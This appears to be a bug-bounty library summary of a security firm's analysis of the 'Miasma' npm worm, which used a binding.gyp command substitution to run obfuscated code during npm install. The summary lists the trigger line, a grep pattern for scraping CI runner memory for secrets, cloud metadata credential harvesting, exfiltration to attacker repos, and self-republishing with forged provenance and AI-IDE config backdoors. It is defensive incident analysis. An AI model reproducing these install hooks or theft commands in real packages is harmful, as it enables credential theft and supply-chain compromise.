# Miasma npm Supply Chain Attack: Self-Spreading Worm via Phantom Gyp

Miasma worm abused a 157-byte binding.gyp to execute code during npm install, stealing CI/CD cloud credentials and self-propagating across 57 npm packages.

- Payout: Real-world hack
- Severity: critical
- Program: npm registry
- Analysis by: StepSecurity
- Disclosed: 2026-06-04
- Write-up quality: 9/10
- Original: https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-binding-gyp-npm-supply-chain-attack-spreads-like-worm
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:nodejs technique:source-review vuln:command-injection vuln:secrets-leak

**Target:** npm packages / GitHub Actions CI runners
**Root cause:** npm auto-runs node-gyp rebuild when a package ships binding.gyp; gyp's <!(...) command substitution executes arbitrary shell during install, bypassing preinstall/postinstall script scanning.
**Steps:**
1. Publish package tarball containing `binding.gyp` with `"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]` and a 4.5MB obfuscated root `index.js` (not the declared main).
2. Victim runs `npm install`; npm invokes `node-gyp rebuild`, which evaluates the `<!(...)` substitution and runs `node index.js`.
3. Stage 1: ROT-N Caesar decode of ~1.3M char codes then `eval()` (ROT varies per package: 9/15/18/19/20).
4. Stage 2: AES-128-GCM decrypt two inline hex blobs (Bun loader 907B, main payload 668KB) with embedded key/IV/authTag.
5. Stage 3: loader downloads `bun-v1.3.13` zip from GitHub releases, unzips to `/tmp/b-*`, chmod 755.
6. Stage 4: `bun run /tmp/p<rand>.js` executes obfuscator.io payload with 2306-entry string table.
7. Harvest: `gh auth token`, `sudo python3` reading `/proc/<Runner.Worker>/mem`, `tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}'`, plus AWS/GCP/Azure/Vault/1Password/gopass env and IMDS (169.254.169.254).
8. Exfil: create repo under `liuende501` via `POST /user/repos`, upload encrypted JSON to `results/results-{ts}.json`.
9. Propagate: validate npm token via `/-/whoami`, enumerate `/-/v1/search?text=maintainer:{user}`, exchange OIDC at `/-/npm/v1/oidc/token/exchange/package/`, repackage tarball with binding.gyp+index.js, forge Fulcio/Rekor/SLSA provenance, publish.
10. Inject AI-IDE backdoors: `.claude/setup.mjs`, `.cursor/rules/setup.mdc`, `.gemini/settings.json`, `.vscode/tasks.json` via GraphQL `createCommitOnBranch`.
**How found:** Analysts ran the malicious package in a controlled GitHub Actions runner with Harden-Runner in audit mode, capturing the process tree: node-gyp spawning curl/unzip/bun and sudo python3 reading /proc/<Runner.Worker>/mem, plus anomalous egress to github.com/oven-sh/bun and api.github.com.
**Exploitation:** Attacker compromised maintainer npm tokens, republished 286+ malicious versions across 57 packages (incl. @vapi-ai/server-sdk, ai-sdk-ollama). Any `npm install` in CI triggered node-gyp, ran the payload, escalated to root via sudo python3, scraped unmasked GitHub Actions secrets from Runner.Worker memory, harvested cloud creds via IMDS, exfiltrated to attacker-created GitHub repos, then used stolen tokens to republish and inject IDE backdoors.
**Escalation:** Credential theft chained into worm propagation: stolen npm tokens + forged Sigstore/SLSA provenance republish packages; stolen GitHub tokens push AI-assistant config backdoors into victim repos; RubyGems extconf.rb variant extends to a second ecosystem.
**Insight:** Install-time code execution isn't limited to preinstall/postinstall — audit tarballs for binding.gyp, extconf.rb, Makefile.PL, CMakeLists.txt, and any file whose size dwarfs the declared main entry; gyp's <!(...) and Ruby's extconf.rb run shell during build with no package.json script.
